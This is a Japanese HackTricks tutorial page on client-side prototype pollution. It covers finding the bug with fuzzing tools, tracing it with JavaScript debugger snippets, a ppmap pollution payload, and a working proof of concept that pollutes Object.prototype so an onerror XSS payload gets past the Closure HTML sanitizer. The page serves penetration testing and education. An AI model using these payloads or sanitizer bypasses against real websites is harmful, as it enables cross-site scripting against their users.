クライアントサイドプロトタイプ汚染

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

自動ツールを使用した発見

ツール https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap および https://github.com/kosmosec/proto-findプロトタイプ汚染の脆弱性を見つけるために使用できます。

さらに、ブラウザ拡張機能 PPScan を使用して、アクセスしたページ自動的に スキャンし、プロトタイプ汚染の脆弱性を探すこともできます。

プロパティが使用されている場所のデバッグ

javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

プロトタイプ汚染の根本原因を特定する

プロトタイプ汚染の脆弱性がツールによって特定され、コードがそれほど複雑でない場合、Chrome Developer Toolsでlocation.hashdecodeURIComponent、またはlocation.searchなどのキーワードを検索することで脆弱性を見つけることができます。このアプローチにより、JavaScriptコードの脆弱なセクションを特定できます。

より大きく、より複雑なコードベースの場合、脆弱なコードを発見するための簡単な方法は、以下の手順を含みます:

  1. ツールを使用して脆弱性を特定し、コンストラクタ内のプロパティを設定するために設計されたペイロードを取得します。ppmapによって提供される例は次のようになります:constructor[prototype][ppmap]=reserved
  2. ページで実行される最初のJavaScriptコードの行にブレークポイントを設定します。ペイロードでページをリフレッシュし、このブレークポイントで実行を一時停止します。
  3. JavaScriptの実行が一時停止している間、JSコンソールで次のスクリプトを実行します。このスクリプトは、'ppmap'プロパティが作成されたときに信号を送信し、その起源を特定するのに役立ちます:
javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. Sources タブに戻り、「スクリプトの実行を再開」を選択します。JavaScript は引き続き実行され、'ppmap' プロパティは予想通りに汚染されます。提供されたスニペットを利用することで、'ppmap' プロパティが汚染される正確な場所を特定できます。Call Stack を調べることで、汚染が発生した異なるスタックを観察できます。

どのスタックを調査するかを決定する際、JavaScript ライブラリファイルに関連するスタックをターゲットにすることがしばしば有用です。プロトタイプ汚染はこれらのライブラリ内で頻繁に発生します。ライブラリファイルへの関連付けを調べることで、関連するスタックを特定します(右側に表示され、ガイダンス用の画像に似ています)。行 4 と 6 のように複数のスタックがある場合、論理的な選択は行 4 のスタックです。これは汚染の最初の発生を示し、脆弱性の根本原因を表します。スタックをクリックすると、脆弱なコードに移動します。

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

スクリプトガジェットの発見

ガジェットは、PP 脆弱性が発見されたときに悪用されるコードです。

アプリケーションがシンプルな場合、srcdoc/innerHTML/iframe/createElement のような キーワード検索 し、ソースコードをレビューして JavaScript 実行に繋がるか を確認できます。時には、言及された技術がガジェットを全く見つけられないこともあります。その場合、純粋なソースコードレビューが、以下の例のような素晴らしいガジェットを明らかにします。

Mithil ライブラリコードでの PP ガジェットの発見例

この書き込みを確認してください: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

脆弱なライブラリ用のペイロードの再コンパイル

PP を介した HTML サニタイザーのバイパス

この研究 は、いくつかの HTML サニタイザーライブラリによって提供される サニタイズをバイパスするために使用する PP ガジェット を示しています:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする